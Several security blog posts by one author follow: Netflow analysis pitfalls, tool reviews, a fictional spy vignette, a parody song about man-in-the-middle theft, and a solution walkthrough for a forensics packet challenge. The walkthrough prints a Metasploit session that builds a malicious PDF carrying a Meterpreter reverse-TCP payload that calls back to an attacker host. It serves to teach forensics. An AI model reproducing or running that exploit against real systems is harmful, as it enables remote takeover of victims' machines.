Operation CHASTISE – Strategic Aims
Subvert NybbleComms’ next missile test, replacing the inert test warhead with a live one and targeting the BATCAVE. The net effect will be the physical destruction of SIBHOD, and the discrediting of arch-rival NybbleComms as a business competitor for allowing a test firing to go so badly wrong… 

Yellow Sun Heavy Industries have been playing catchup ever since Donald Burgess was recruited by the Sinister Icy Black Hand Of Death. Now, at last, a chance has arisen to strike decisively and put an end to Yellow Sun’s two biggest threats. Do you have the skills to carry out the mission successfully? Click here to find out!

PS…

I hope you have fun with these challenges; I certainly have fun creating them. If you were wondering how you could possibly say “thankyou”, I’m running the 2012 Brighton Half Marathon in aid of Help for Heroes – please sponsor me if you can by clicking the link to the right:

Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters@dataline.co.uk

Well I know just why I came here tonight,
Drinking coffee while I’m stealing your bytes,
Sniffing passwords as they fly through the air,
And your privacy, it don’t have a prayer,
Bob to the left of me,
Alice to the right, here I am,
Man in the middle-ing you.

Yes I’m thinking ’bout which tool I should use,
Maybe Mallory or Karma for you,
It’s so hard to keep this smile from my face,
Taking control, yeah, I’m all over the place,
Banks to the left of me,
Email to the right, here I am,
Man in the middle-ing you.

Well I started out with nothing,
And ID theft is my secret plan,
Your credentials all come crawlin,
Wanting to be used they say,
Please… Please…

Trying to make some use of it all,
Finding pics for “you” to post on your Wall,
Maybe sending some embarrassing Tweets,
Social media was never so sweet!
Twitter to the left of me,
Facebook to the right, here I am,
Man in the middle-ing you.

Well I started out with nothing,
And ID theft is my secret plan,
Your credentials all come crawlin,
Wanting to be used they say,
Please… Please…

Well I know just why I came here tonight,
Drinking coffee while I’m stealing your bytes,
Sniffing passwords as they fly through the air,
And your privacy, it don’t have a prayer,
Bob to the left of me,
Alice to the right, here I am,
Man in the middle-ing you,
Yes I’m man in the middle-ing  you,
Man in the middle-ing you.

Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters@dataline.co.uk

Doctor Reid and his gigantic sliding tile puzzle

Or you might like to use one of those new-fangled computer thingies instead. Paterva (of Maltego fame) have recently released a beta of their latest effort, CaseFile:

CaseFile is aimed at analysts that do not necessarily use open sources of intelligence (or even the Internet for that matter). Think of it as Maltego without transforms but with tons of new features. Adding/attaching photos, documents and annotations to nodes, graph merging, better integration with browsers, passwords on graphs, and tons of new useful entities – and this is just a few of the goodies we’ve added into CaseFile.

I thought I’d test it out by creating a graph of the players in my Spy Hunter packet challenges (Part One, Part Two). Here’s what I came up with:

The graph above shows SIBHOD on the right, and the target organisations on the left. SIBHOD’s infiltrations are either via its own agents (e.g. Kerry Nitpick using the alias Arnold Davies placed directly within NybbleComms) or via subverting employees (e.g. Donald Burgess). SIBHOD’s organisational structure is shown via the “Reports to” links; also shown are aliases and social network identities. The people are of different types – Dave Nice is a Gang Leader, Kerry Nitpick is a Gang Member, Donald Burgess is an Employee, etc.

Each element on the graph can have lots of information attached. For example, double clicking on the Silky Suzy “Alias” icon shows you this:

You can attach as many arbitrary files and notes as you like. I did try putting notes on the links (to document what an agent’s mission is, for example), but these don’t seem to get saved properly (bug in the beta?). Links to external sites are possible, too – double click Homer Hicks’ Twitter affiliation, and click “Open all URLs” in the top right to be taken directly to his Twitter feed:

It’s extremely cool. Download CaseFile from here (watch the video too), and the Spy Hunter graph from here, then have a play around!

Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters@dataline.co.uk

glTail can read from any text logfile you like, and via a set of parsers can extract information such as IP addresses for graphical display. Each row from the logfile may trigger several blobs, e.g. source IP, dest IP, etc, as you can see in the video below:

I’ve written some parsers for Snort, net-entropy and viewssld. A screenshot of them all in action is shown below (click for full size view):

The red blobs are related to Snort, cyan ones to net-entropy, and the yellow shades are from viewssld. The numeric columns show the rate at which each item is appearing, and the length of the coloured highlight bars show the proportion of occurences of a given item relative to the others.

The parser files and a sample config.yaml file that uses them can be found here (snort.rb, net-entropy.rb, viewssld.rb and config.yaml).

Useful?

So, it’s a pretty visualisation of interesting stuff, but is it useful and actionable? It’s certainly hopeless for correlation – when a signature fires, it’s more or less impossible to tell the associated IP addresses and ports even if you have a very quiet sensor. At the other end of the scale, if you’re inundated with blobs you can alter the regexes in snort.rb to match on a specific IP/protocol/signature etc to be a little more selective.

Where I think this may prove most useful is when you’re learning from an incident. If you’ve investigated an incident where someone compromised your webserver, you could pull all the relevant log entries that show:

• Snort alerts (when the attacker was probing for vulnerabilities)
• Apache/IIS log entries (showing everything else they did to your server)
• net-entropy logs (showing the attacker’s outbound backdoor SSH tunnel).

If you were to pump all of these logs through gltail you’d have an effective visualisation of the attack. For inspiration, check this out:

Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters@dataline.co.uk

TinySOHORouter, by comparison, is a trivial speck on the corporate network diagram. It has a single ADSL connection and performs the usual SOHO tasks of NAT, firewall, DSL dialup, etc. Both routers export Netflow data to a central collector.

As you ponder my da Vinci-like Visio skills, consider the following question. Which router will pose the greater Netflow analysis challenge to the security team?

You’ve probably guessed it by now – the troublesome router is TinySOHORouter. HugeCorpCoreRouter, whilst powerful and complex, has a relatively easy job when it comes to Netflow. TinySOHORouter however has three sticking points that could prove to be troublesome for a Netflow analyst. None of the following features are typically running on your average big beefy HugeCorpCoreRouter:

1. The firewall process (or any kind of filtering ACL). HugeCorpCoreRouter is concerned with forwarding datagrams as fast as possible through the core – firewall operarions do not live here
2. The NAT process
3. The dialer interface associated with the ADSL connection

Let’s look at each of these in turn.

I’m running the Brighton Half Marathon in aid of Help for Heroes – please sponsor me if you can by clicking the link to the right:

The firewall process

Netflow is, by default, an ingress-based technology, which means that the router’s flow cache is updated when datagrams are received by an interface. However, a datagram doesn’t have to enter and leave the router to leave an impression in the flow cache. This manifests itself in an interesting way when a firewall is sticking its oar in.

The Netflow v5 flow record format has fields that describe the SNMP interface indexes of the input and output interfaces for any given flow. This is useful, because it means that your Netflow analysis tools can tell you that when 10.11.12.13 spoke to the webserver on 192.168.0.1, the traffic from 10.11.12.13 entered the router on FastEthernet4/23 and left it on GigabitEthernet0/2. This also makes it possible to draw pretty per-interface graphs of Netflow traffic. (BTW, you’ll want to use the “snmp-server ifindex persist” command otherwise the SNMP interface indexes could change when the router reloads, which can really confuse analysis!)

But what if there were an ACL in place that drops all traffic to port 80 on 192.168.0.1? Dropped datagrams are one of the byproducts of any kind of firewall or ACL – how does Netflow handle those?

Let’s say a datagram from 10.11.12.13 is received, destined for 192.168.0.1:80. As this destination is denied by an ACL, the router duly drops it. Netflow, being an ingress technology, will still put an entry into the flow cache to describe the flow, despite the fact that the datagram was dropped by an ACL (even if the ACL is applied in the inbound direction on the receiving interface). There is no output interface for the flow in this case, so what does the router put into the flow record to denote this?

Flows that are either a) dropped by the router or b) destined for the router itself (SSH sessions, for example) will have zero in the output interface field, to show that the flow entered the router but did not leave.

So why is this a problem for the analyst?

Let’s say I run a report that shows all destination ports for destination IP address 192.168.0.1 (in a naive attempt to find out “what services have people been using on my server?”). Much to my surprise, port 80 features prominently. Why’s it in the report? Isn’t it blocked by an ACL? Have we been hacked? Has the APT Bogeyman paid us a visit?

Fortunately, we’re safe. Port 80 features because 10.11.12.13 tried to talk to it, causing a flow to be logged despite the fact that the ACL dropped the traffic. If you were to re-run the report asking for the number of bytes transferred between 10.11.12.13 and 192.168.0.1:80, we’d see 40 bytes in the client->server direction (the size of an IP datagram with a TCP SYN in it) and zero bytes in the server->client direction, which describes the ACL drop nicely.

Keep this in mind when designing reports based on Netflow data. Certain products like Netflow Analyser are able to take this behaviour into account to a certain degree (“Suppress Access Control List related drops”). Alternatively, you could use the Netflow v9 flow record format if your router and analysis tools support it. There is a useful field called “FORWARDING STATUS” which tells you if a flow was forwarded, dropped or consumed, allowing the analyst to differentiate between traffic dropped by the router and traffic destined for the router. Very handy.

The NAT process

Our second bugbear can also cause problems, especially if we want to ask questions like “show me all the traffic destined for the single PC behind TinySOHORouter” – the report in this case will be totally blank, even if the PC has been hitting Facebook all day long. But why?

Take the simple case of an HTTP flow between our single PC at 10.11.12.13 (a private IP address on a router’s FastEthernet0 interface) and 123.123.123.123 (a public webserver on the Internet via FastEthernet1). On its way out of the router, the private 10.11.12.13 gets NATted into 111.111.111.111, the IP address of FastEthernet1.

From Netflow’s point of view, it goes like this:

• A TCP segment from 10.11.12.13 destined for 123.123.123.123 is received on Fa0. An entry in the Netflow cache accounts for this.
• The router decides that the traffic should be sent out via Fa1, and does a source IP address NAT translation from 10.11.12.13 to 111.111.111.111 before it sends it on its way.
• The TCP response is eventually received on Fa1 from 123.123.123.123 destined for 111.111.111.111, which is 10.11.12.13′s “outside” address. An entry in the Netflow cache accounts for this.
• The NAT translation from 111.111.111.111 to 10.11.12.13 takes place, and the TCP response is sent out of Fa0.

Therefore, all of the returning traffic will be shown as destined for 111.111.111.111 and never 10.11.12.13 – this is because input accounting (including Netflow) occurs on the router before the NAT outside-to-inside translation takes place:

http://www.cisco.com/en/US/tech/tk648/tk361/technologies_tech_note09186a0080133ddd.shtml

There are three ways to either get around or assist with this problem:

1. If your router and Netflow collector support it, disable ingress Netflow accounting on Fa1 and enable both ingress and egress Netflow accounting on Fa0 (the inside interface). This means that all flows will be accounted for on the “inside” of the NAT process. Take care, though – by doing this we are causing Netflow to “ignore” all traffic that does not cross Fa0. This may or may not be a problem, depending on your topology and requirements. Also, think very carefully about this approach if your router has many layer 3 interfaces. If ingress and egress Netflow were to be enabled on both Fa0 and Fa1, there’s a chance your Netflow collector could see duplicated flows.
2. If your router and Netflow collector support it, you can use the “ip nat log translations flow-export” command. This will log all NAT translations in a flow template that looks like this:

   templateId=259: id=259, fields=11
       field id=8 (ipv4 source address), offset=0, len=4
       field id=225 (natInsideGlobalAddress), offset=4, len=4
       field id=12 (ipv4 destination address), offset=8, len=4
       field id=226 (natOutsideGlobalAddress), offset=12, len=4
       field id=7 (transport source-port), offset=16, len=2
       field id=227 (postNAPTSourceTransportPort), offset=18, len=2
       field id=11 (transport destination-port), offset=20, len=2
       field id=228 (postNAPTDestinationTransportPort), offset=22, len=2
       field id=234 (ingressVRFID), offset=24, len=4
       field id=4 (ip protocol), offset=28, len=1
       field id=230 (natEvent), offset=29, len=1

   This will give you a log of all NAT translations that you can use to find out the actual destination for the traffic from 123.123.123.123 to 111.111.111.111. Your Netflow collector may even be smart enough to correlate this information onto other “standard” flow exports, which would be a very neat trick indeed.

3. If your router supports it, you can use the “ip nat log translations syslog” command. This will dump all NAT translations to syslog like this:

   Sep 14 12:31:39.740 BST: %IPNAT-6-CREATED:
   tcp 192.168.0.88:4021 212.74.31.235:4021
   192.150.8.200:443 192.150.8.200:443
   Sep 14 12:32:53.733 BST: %IPNAT-6-DELETED:
   tcp 192.168.0.88:4021 212.74.31.235:4021
   192.150.8.200:443 192.150.8.200:443

   Take care, though – this approach has the possibility to add significant load to your router, your syslog server, and your syslog analysis mechanisms – it becomes a manual task to correlate the NAT translations from syslog to the Netflow exports from your router.

The ADSL link’s dialer interface

It varies with platform and configuration, but when using a DSL line with PPPoE/PPPoA a plethora of virtual interfaces get created by the router. Of these, only the following are really of interest:

interface ATM 0/0/0
The physical ADSL interface

interface dialer 0
The dialer interface created by the user in order to connect to the DSL provider

interface virtual-access XX
A virtual interface created by the router, cloned from and bound to interface dialer0

Of these, only the dialer and virtual-access interfaces are layer 3 interfaces that can participate in Netflow, and of these the user only has direct control over the configuration of the dialer interface. So we just enable Netflow on TinySOHORouter’s dialer0 and inside ethernet interfaces and we’re done, right?

Not quite.

If you were to use your Netflow analysis tools to look at an interface graph for dialer0, all you will see is outbound traffic. You’ll also notice that the virtual-access interface has popped up as well, showing only inbound traffic. No one interface has the complete picture.

This is, interestingly enough, the expected behaviour. Traffic from the ethernet network leaves the router via dialer0 because that’s what the default route says to do (“ip route 0.0.0.0 0.0.0.0 dialer0″). Therefore, when the ethernet interface receives a datagram destined for the Internet, Netflow will put the SNMP interface index of dialer0 into the flow cache. However, the router doesn’t actually use dialer0 to send or receive traffic, it uses the virtual-access interface cloned from it. This means that when datagrams are received from the Internet, they enter the router on virtual-accessXX instead of dialer0 or any of the other associated interfaces. This is why the dialer shows only outbound traffic and the virtual-access shows only inbound. All very logical and intuitive, I’m sure you’ll agree…

How to get around this? Either just “keep in it mind” when performing analysis, or hope that your Netflow analysis tools have some way to cater for it by plotting the outbound traffic on dialer0 and the inbound traffic on virtual-accessXX on the same graph.

Those are all the Netflow analysis “gotchas” that spring to mind – can anyone think of any others?

Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters@dataline.co.uk

As with last time, we had a good number of entries to the challenge. It was a very close call, but the winner this time is Jeff Gibat! Well done Jeff; honorable mentions also go to Sairon Istyar, Marcelo Mandolesi and John Douglas.

Before going over Jeff’s answers, I’ll first go over the process needed to dissect the supplied pcap. My aim for the challenge was to require quite a diverse skillset in order to root out all the answers, including:

• pcap analysis
• IE cache forensics
• Malware reverse engineering
• Audio steganography
• Relational database analysis

Opening the pcap in Wireshark and nosing around a little, we can see that we’re dealing with a stream of TFTP traffic between two hosts, 192.168.93.3 and 192.168.88.56:

If we apply a display filter of “tftp.opcode == 2″ (“Write Request”), we can see that three files have been transferred, namely:

• ARTIST_-_Spectrogram_-_TRACK_-_Secrets.wav
• SHOPPINGLIST.7z
• IECache.7z

The trick now is to extract these three from the capture. Wireshark doesn’t seem to be great at this, but there are several other tools which are including NetworkMiner, Xplico and TFTPgrab. Extra points to John Douglas who went above and beyond the call of duty and wrote his own parser to carve the three files out.

Loading the capture into NetworkMiner shows the three files it has extracted on the “Files” tab. Note that the wav file has had its filename truncated to twenty characters, which is a shame because the filename is a clue!

NetworkMiner will conveniently save these files for you in subdirectories under the AssembledFiles directory. Let’s examine the three in turn:

• ARTIST_-_Spectrogram_-_TRACK_-_Secrets.wav
  This is a well formed wav file, but when you play it it’s not exactly tuneful.
• SHOPPINGLIST.7z
  This is a well formed 7z archive, but it’s password protected.
• IECache.7z
  Again, this one is a well formed 7z archive, but there’s no password protection here.

The third file is the low-hanging fruit at this point, so we’ll tackle it first. As hinted by the filename, it does indeed contain an IE Cache directory (mercifully quite a small one!). There are any number of tools for performing cache forensics; IECacheView is one of them. By clicking Select Cache Folder from the File menu and specifying the directory where you unzipped the .7z file we can take a look:

The cache directory shows someone logging into a webmail interface at mail.email4espionage.spy. Two messages are read, the first of which looks like this:

Return-Path: dave.nice@email4espionage.spy
Received: from email4espionage.spy ([127.0.0.1])
by mail.email4espionage.spy
; Fri, 8 Jul 2011 21:41:20 +0100
MIME-Version: 1.0
X-Mailer: MailBee.NET 6.0.2.220
X-Priority: 3 (Normal)
From: "Dave Nice" <dave.nice@email4espionage.spy>
To: roberto.tablato@email4espionage.spy,
kerry.nitpick@email4espionage.spy,
guatrau@email4espionage.spy,
steve.austen@email4espionage.spy,
pete.michaels@roseandcrown.pub
Cc: dave.nice@email4espionage.spy
Subject: Re: SIBHOD and friends team day out
Date: Fri, 08 Jul 2011 21:41:20 +0100
X-Originating-IP: 127.0.0.1
Message-ID: <2.6b59ee93be36ce1bad15@SIBHOD-1>
Content-Type: text/plain;
charset="utf-8"
Content-Transfer-Encoding: quoted-printable

Hi all,
The final list of attendees will be:
* Myself
* Bobby (NOT Suzy!)
* Kerry
* Pete
* Garry
Steve's not coming of course, and the Guatrau says he'll meet us at the BATCAVE for beers afterwards.

Venue:
HAPPYLAND; meet on Saturday 16th at BLACK TWO at 1430. Garry's got us great seats for Kung Fu Panda 2! He also says that a COWABUNGA is in effect at SODIUM - let's eat first, and we can watch the film with plunder in hands!

The boring bit:
Following standard SIBHOD procedure, I am issuing a tentative UTOPIA to everyone for the duration of the outing. Please act like it - do not group up before reaching BLACK TWO. Sit in groups of no more than two at SODIUM.

The fun bit:
Come in fancy dress as one of the Furious Five. There will be a prize for the best outfit. I call Po!

See you next Saturday,
Dave

OK, sounds like a fun day out, and we’ve got some names, places and cryptic codewords to chew over as we go on.

The next email looks like notification of a Twitter DM:

This looks like the phishing message sent by Yellow Sun from @HomerHicks to @UltraVenona, bearing the recognition code “scelidosaurus” provided by Donald Burgess and the link provided by Keith Starr. The person whose IE cache we’re going through could therefore be @UltraVenona himself!

The  IE cache also shows that the link above was indeed clicked as Yellow Sun hoped it might be, and a file called TNM-Defect-943024.pdf was downloaded – this is the exploit supplied by Starr to compromise @UltraVenona’s machine. By analysing this file, we can determine what Starr’s intent was, but the short answer is that it’s a standard MetaSploit exploit:

=[ metasploit v4.0.1-dev [core:4.0 api:1.0]
+ -- --=[ 721 exploits - 367 auxiliary - 74 post
+ -- --=[ 226 payloads - 27 encoders - 8 nops
=[ svn r13543 updated today (2011.08.12)

msf > use exploit/windows/fileformat/adobe_cooltype_sing
msf exploit(adobe_cooltype_sing) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(adobe_cooltype_sing) > set LHOST 192.168.93.2
LHOST => 192.168.93.2
msf exploit(adobe_cooltype_sing) > set LPORT 4444
LPORT => 4444
msf exploit(adobe_cooltype_sing) > set FILENAME
TNM-Defect-943024.pdf
FILENAME => TNM-Defect-943024.pdf
msf exploit(adobe_cooltype_sing) > exploit

[*] Creating 'TNM-Defect-943024.pdf' file...
[*] Generated output file /home/user/.msf4/data/exploits/TNM-Defect-943024.pdf

When @UltraVenona opened this file with his vulnerable PDF reader, Keith Starr got a Meterpreter shell on @UltraVenona’s machine. The Yellow Sun strikeback is looking pretty good at this point!

Having dug about as deeply as possible into the IE cache it’s time to turn our attention to the other two files, the tuneless wav and the password protected SHOPPINGLIST.7z. Having to brute-force the password for the 7z isn’t really in the spirit of a packet challenge, so perhaps the password is present in the evidence somewhere. Let’s see where analysing the wav file gets us.

As I mentioned, there’s a clue in the filename of the wav file, which is present in full in the pcap – ARTIST_-_Spectrogram_-_TRACK_-_Secrets.wav. I’m sure that Spectrogram are indeed the Greatest Band The World Has Ever Known, but a spectrogram is also a visualisation of an audio signal. Several tools are available to render spectrograms of audio files, such as Spectrogram 5 which you can download here. Run it up, select Analyze File from the File menu, and load up our wav file. You’ll be treated to the view below:

Our little visualisation has revealed some text! Perhaps “IamJamesBond” is the passphrase to SHOPPINGLIST.7z? We’ll find that out in a minute – for now, here’s a quick explanation of how I created the wav.

First, I created a white on black image file containing the phrase IamJamesBond. Then I loaded it into Coagula with Open Image from the file menu:

Now select “Render without blue” from the Sound menu, and finally “Save Sound As” from the File menu. Load the resulting wav file into Spectrogram to see the goodness.

Right, back to the plot. Does IamJamesBond open up SHOPPINGLIST.7z? Why yes, it does! There’s only one file in the archive, called SHOPPINGLIST.db. Sounds like a database file, but what type?

morpheus:~# file SHOPPINGLIST.db
SHOPPINGLIST.db: SQLite 3.x database

There are many tools available for analysing SQLite databases, and SQLite Maestro is a very nice one. The first thing we need to do with any unknown database is determine its structure, in terms of tables, columns and foreign key relationships. SQLite Maestro makes this quite straightforward – select Designer from the Tools menu, then hit “Reverse Engineering” under General. You will be rewarded with a schema diagram a little like this:

I tried to make the database as meaningful and realistic as possible in terms of structure and foreign key naming conventions. There are straightforward one-to-many joins, like the one between the Person and the Photo table, which represent relationships like “one person may have many photos”. There are also self-referential foreign keys which reference the same table rather than another one, e.g. Person.Reports_To is a foreign key onto Person.ID – this represents the organisation’s hierarchy. The AgentPlacement and Employment tables facilitate many-to-many joins, representing, for example, the fact that a single agent can be placed in many organisations and also that a single organisation may have many agents in it. Have a nose around, especially in the Codewords table, and hopefully things will all make sense (including why the database itself is called SHOPPINGLIST!).

The bulk of the mission objectives can be fulfilled with careful analysis of the database, so without further ado we’ll move on to Jeff’s answer. Where Jeff has expanded out a codeword I will supply the original, and I will also give appropriate SQL statements to back up Jeff’s answers. I’ll use italics to differentiate.

Over to Jeff:

Determine how Starr took over UltraVenona’s computer. What exploit and delivery mechanism did he use?

• Delivery mechanism: PDF
• Exploit: javascript heap overflow in PDF. More info to come. I used Didier Steven’s pdfid and pdf-parser to extract the javascript. The Javascript which is called when the document is opened creates a large array in memory of what probably contains nop sleds and shellcode repeated. There was no exec() or other function call from the javascript so my initial hunch is that by allocating such a large amount of memory, it crashes the reader application and control finds its way to the shellcode.

Determine the name of the Adversary organisation. Are they a foreign intelligence service, or some other kind of organisation?

The Sinister Icy Black Hand of Death (greatest covert intelligence agency the world has ever seen) (Look in the Organisation table)

Determine if Yellow Sun is the Adversary’s only target, or if there are others

Other target: NybbleComms (Look in the Organisation table)

Determine the names and aliases of the agents employed by the Adversary, plus the Adversary’s organisational hierarchy

SELECT
Person.Name, Alias.Alias_Name, Alias.Notes
FROM
Person
INNER JOIN Alias ON (Person.ID = Alias.Person_FK)
ORDER BY
Person.Name

Organizational Hierarchy:

Susan Jones reports to Pete Michaels
Pete Michaels, Donald Burgess, Kerry Nitpick, and Roberto Tablato report to Dave Nice
Dave Nice and Steve Austen report to The Boss (Name unknown).

SELECT
Person.Name as 'Person',
Boss.Name as 'Boss'
FROM
Person Boss
INNER JOIN Person ON (Person.Reports_To = Boss.ID)
ORDER BY
Boss.Name

Determine where these people have “day jobs”

SELECT
Person.Name,
Organisation.Name,
Employment."Job description"
FROM
Person
INNER JOIN Employment ON (Person.ID = Employment.Person_FK)
INNER JOIN Organisation ON (Employment.Organisation_Fk = Organisation.ID)
ORDER BY
Person.Name

Determine details of their cover placements in target organisations, their mission objectives, and which aliases are used for each placement

SELECT
Person.Name,
Alias.Alias_Name,
Organisation.Name,
AgentPlacement."Mission objectives"
FROM
AgentPlacement
INNER JOIN Organisation ON (AgentPlacement.Organisation_Fk = Organisation.ID)
INNER JOIN Alias ON (AgentPlacement.Alias_FK = Alias.ID)
INNER JOIN Person ON (Alias.Person_FK = Person.ID)

If possible, determine what the agents look like

Donald Burgess

Roberto Tablato

Roberto Tablato as Silky Suzy

Dave Nice

Pete Michaels

Kerry Nitpick

Susan Jones

Garry Francis

(Get this lot out of the photo table)

If possible, speculate on the means by which Burgess was identified and recruited, and the existence of Project ThatsNoMoon leaked

Burgess AKA Homer Hicks was probably identified and recruited while drinking at the Rose and Crown Club

If any arrests are to be made, when and where might be best to round up as many members of the Adversary at once?

SIBHOD and friends team day out!

The Picture House Cinema on the High Street (HAPPYLAND), Saturday the 16^th Popcorn Stall (BLACK TWO) at 2:30. Mac Doddy’s (SODIUM) is giving away Kung Fu Panda toys in their happy meals (COWABUNGA), so they will eat there first.

Everyone will be suspected compromised for the duration of the outing (UTOPIA). They will not group up before reaching the popcorn stall.  Won’t sit in groups of more than 2 at MacDoddy’s.

Attendance should be: Dave, Bobby, Kerry,Pete, and Garry

Speculate on the reason for Starr’s sudden exit and subsequent disappearance

Starr (Kerry Nitpick) became tense and agitated and exited because once he started inspecting the data he realized that his employer, SIBHOD, was the adversary, and the person he just hacked, ULTRAVENONA, is actually his boss, Dave Nice!

Great work, Jeff! Despite Yellow Sun’s total vetting failure in employing Keith Starr aka Kerry Nitpick, they have totally unpicked SIBHOD’s operations. The only question now is what they will choose to do with this information – stay tuned for Part III!

Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters@dataline.co.uk

Kerry Nitpick wanted to run. But to do so would be to draw attention to himself, to “show out” as the pavement artists call it. He did not know if the surveillance team following him was real or merely in his imagination, but either way he was certain they were there.

They’d probably been on him since he left Yellow Sun HQ thirty minutes ago. YS hadn’t trusted him from day one – they’d likely been watching him ever since. The team was probably plotted up away from the building; no need to have their own eyes-on in such a controlled environment. That goon in the security hut at the gate must have been the trigger.

An aware target masquerading as an unaware one, Kerry strained his hearing, trying to hear them on their radios.

Despite the odds, the advantage was still his. He knew that as he turned left onto Laker Street they’d do their silly little dance, same as always, regular as clockwork.

He’d be able to see Blue now if he looked over his right shoulder. He considered taking an extra step or two before turning the corner just to rattle them, but that would have tipped them off that he knew they were there. “Never let them know that you know,” Dave always used to say, “That’s Rule #1.” Rule #1 changed with the wind, but this one had held the title at least once.

He turned left onto Laker Street.

Laker Street was routinely pounded by suburban traffic, rattling the sash windows of the tall Victorian homes on the left hand side. Most properties had basements with steps leading down from the street; RED ONE was one such basement flat, number 221b. As he passed it he looked as closely as he could without turning his head. Everything seemed in order, but he certainly wasn’t going in through the front door. RED ONE was chosen for a very good reason, one which the surveillance team was soon to discover to their cost.

Leaving the steps to RED ONE behind, he maintained his pace but quickened his thoughts. The next left turn onto Kingsway had to be just right – he’d have three or four seconds tops to evade his pursuers. The window was tight, but terrain was on his side.

GREEN, Target is approaching nearside turn onto Kingsway
RED There’s no more footpath – I can’t move up to cover the corner! There’s too much traffic for me to step into the road
GREEN, That’s understood. If the Target takes the nearside turn I’ll clear the corner myself and we’ll carry out cornering drill without you. Catch up when you can
RED, That’s received

With Red neutered by the short footpath, Kerry turned left onto Kingsway, passing the corner shop. As he did so he removed his jacket and increased his walk almost to a jog.

GREEN that’s the Target Left Left onto Kingsway. Temporarily unsighted

Out of sight of the surveillance team, Kerry turned left one last time into the alleyway alongside the corner shop. Running now, he made for the rubbish bin that stood in front of the six foot gate that blocked further passage and obscured the alley’s access to the rear of the properties on Laker Street.

GREEN, I’m crossing Kingsway. No sign of Target. Loss, Loss

Lent by adrenaline the agility of a fitter man, he leapt onto the bin and threw his jacket over the thin strand of barbed wire that topped the gate. He hauled himself over and down the other side, tugging the shredded remains of his jacket behind him.

BLUE turning Left Left onto Kingsway. No sign of Target. Loss, Loss

Moving down the alleyway to the rear entrance of number 221b, the surveillance team’s comms chatter faded to silence.

GREEN, Total Loss, Total Loss. Commence search pattern

Finally inside RED ONE, Kerry took stock. It was supposed to be a straightforward penetration job; a simple exploit, lift some assets, get out. It would have been so much better had the target not turned out to be his boss, his real boss. All this “need to know” nonsense just gets a man into trouble. Why hadn’t Dave told him SIBHOD had already penetrated Yellow Sun? Why wouldn’t Yellow Sun tell him who the target was? Keith Starr would never have taken the job if he’d known.

So he did the best he could. He wasn’t going to give Yellow Sun anything that would damage SIBHOD; instead he turned over part of Dave’s tasteless music collection, plus his shopping list and his IE cache. Total junk, but better than nothing. It certainly bought him a ticket out of Yellow Sun’s front door.

But what to do next? From the files he turned over to Yellow Sun, he was certain there was nothing that could link him to either Dave or SIBHOD. Keith Starr’s professional reputation would take a bit of a hit, but if he kept his mouth shut, no harm done, surely? Or perhaps he should come clean to Dave, at least to tell him to update his PDF reader. Or maybe silence is golden – SIBHOD is not an organisation that tolerates failure…

A full write up of the winning solution to the Spy Hunter Part II Packet challenge is here!

Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters@dataline.co.uk

Only by taking positive action of its own can Yellow Sun hope to salvage the situation…

Evidence has been collected as the result of offensive action on the part of Yellow Sun against their unknown Adversary. Are you up to the challenge of maximising the haul’s intelligence yield? Click here to find out!

Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters@dataline.co.uk

You can read the article here; comments welcome, as always!

Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters@dataline.co.uk

Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters@dataline.co.uk